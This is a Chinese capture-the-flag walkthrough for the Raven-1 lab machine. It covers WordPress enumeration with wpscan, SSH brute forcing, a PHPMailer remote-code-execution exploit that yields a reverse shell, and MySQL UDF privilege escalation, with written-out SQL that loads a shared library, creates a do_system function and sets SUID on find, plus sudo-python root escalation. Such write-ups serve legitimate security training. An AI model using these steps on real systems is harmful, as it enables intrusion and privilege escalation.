【渗透测试】Raven-1通关手册

  • A+
所属分类:安全文章
【渗透测试】Raven-1通关手册

【渗透测试】Raven-1通关手册



【渗透测试】Raven-1通关手册




0x01信息搜集

扫描到主机地址

【渗透测试】Raven-1通关手册

查看开放端口及服务

【渗透测试】Raven-1通关手册

查看CMS指纹

【渗透测试】Raven-1通关手册

扫描目录,发现有WordPress的网站

【渗透测试】Raven-1通关手册

【渗透测试】Raven-1通关手册

在首页的链接页面源码中找到了第一个flag

【渗透测试】Raven-1通关手册


0x02 漏洞挖掘

既然是WordPress,那么我们就直接用wpscan进行爆破

wpscan --url http://192.168.1.3/wordpress -e 

【渗透测试】Raven-1通关手册

进行ssh端口爆破

【渗透测试】Raven-1通关手册

【渗透测试】Raven-1通关手册

还有一种方法

【渗透测试】Raven-1通关手册

phpMailer 是一个非常强大的php发送邮件类,PHPMailer < 5.2.18中存在高危安全漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。可以在http://192.168.1.3/vendor/VERSION中查看phpMailer的版本。

【渗透测试】Raven-1通关手册

使用searchsploit搜索phpmailer的exp

【渗透测试】Raven-1通关手册

我们选用这个Python的exp,导出到当前目录下

【渗透测试】Raven-1通关手册

修改这三处信息,分别为靶机地址,kali端地址,文件上传到靶机的地址

【渗透测试】Raven-1通关手册

如下

【渗透测试】Raven-1通关手册

Kali端开启监听,执行exp(要用Python3)

【渗透测试】Raven-1通关手册

访问生成的页面即可出发反弹命令,然后用Python生成一个交互式的shell

【渗透测试】Raven-1通关手册

找到flag2

【渗透测试】Raven-1通关手册

找到链接数据库的账号密码

【渗透测试】Raven-1通关手册

在数据库里找到flag3,flag4(wordpress/wp_posts)

【渗透测试】Raven-1通关手册


0x03 操作系统提权

接下来我们使用UDF来提权,UDF提权条件

(1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的libplugin文件夹下。(2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:windowssystem32,在windows2000下放置于c:winntsystem32。(3)掌握的mysql数据库的账号有对mysql的insertdelete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。这里允许root账户外连,(grant all PRIVILEGES on *.* to'root'@'192.168.189.1' identified by '112358'; #这条命令就能让root用户指定ip连接)(4)可以将udf.dll写入到相应目录的权限。

查找udf提权的exp,选用编号为1518的exp

【渗透测试】Raven-1通关手册

下载下来

【渗透测试】Raven-1通关手册

将最后编译得到的.so文件上传到靶机

【渗透测试】Raven-1通关手册

我这里用kali搭了一个web服务器,将文件放到网站的目录里

【渗透测试】Raven-1通关手册

靶机下载.so文件

【渗透测试】Raven-1通关手册

进入WordPress库

【渗透测试】Raven-1通关手册

创建临时表

create table foo(line blob);


【渗透测试】Raven-1通关手册

插入提权文件

insert into foo values(load_file('/var/www/1518.so'));

 

【渗透测试】Raven-1通关手册

将文件导出到MySQL安装目录下的/lib/plugin

select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';


【渗透测试】Raven-1通关手册

创建一个函数

create function do_system returns integer soname '1518.so';

【渗透测试】Raven-1通关手册

查看创建的函数

select * from mysql.func;

 

【渗透测试】Raven-1通关手册

利用函数给find命令suid权限

select do_system('chmod u+s /usr/bin/find');

 

【渗透测试】Raven-1通关手册

Find命令成功获得suid权限

【渗透测试】Raven-1通关手册

成功提权(这里要用/bin/sh,/bin/bash无效)

【渗透测试】Raven-1通关手册

找到flag4(这个在数据库里就有,应该是bug吧。我就说数据库里怎么会存放两个flag)

【渗透测试】Raven-1通关手册

还有另一种提权的办法。数据库里保存的就是Steven用户登陆服务器的ssh账号密码。可以直接解密

【渗透测试】Raven-1通关手册

【渗透测试】Raven-1通关手册

登陆

【渗透测试】Raven-1通关手册

该用户可以免密sudo Python

【渗透测试】Raven-1通关手册

直接用Python就能调出root的shell

【渗透测试】Raven-1通关手册




【渗透测试】Raven-1通关手册


【渗透测试】Raven-1通关手册

【渗透测试】Raven-1通关手册

【渗透测试】wakanda-1通关手册

【渗透测试】Vulnhub 1.0通关手册

【漏洞复现】蓝凌0A后台密码读解密(附POC)

【渗透测试】hackthebox靶场之TheNotebook


【渗透测试】Raven-1通关手册
【渗透测试】Raven-1通关手册
微信搜一搜
【渗透测试】Raven-1通关手册
暗魂攻防实验室


本文始发于微信公众号(暗魂攻防实验室):【渗透测试】Raven-1通关手册

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: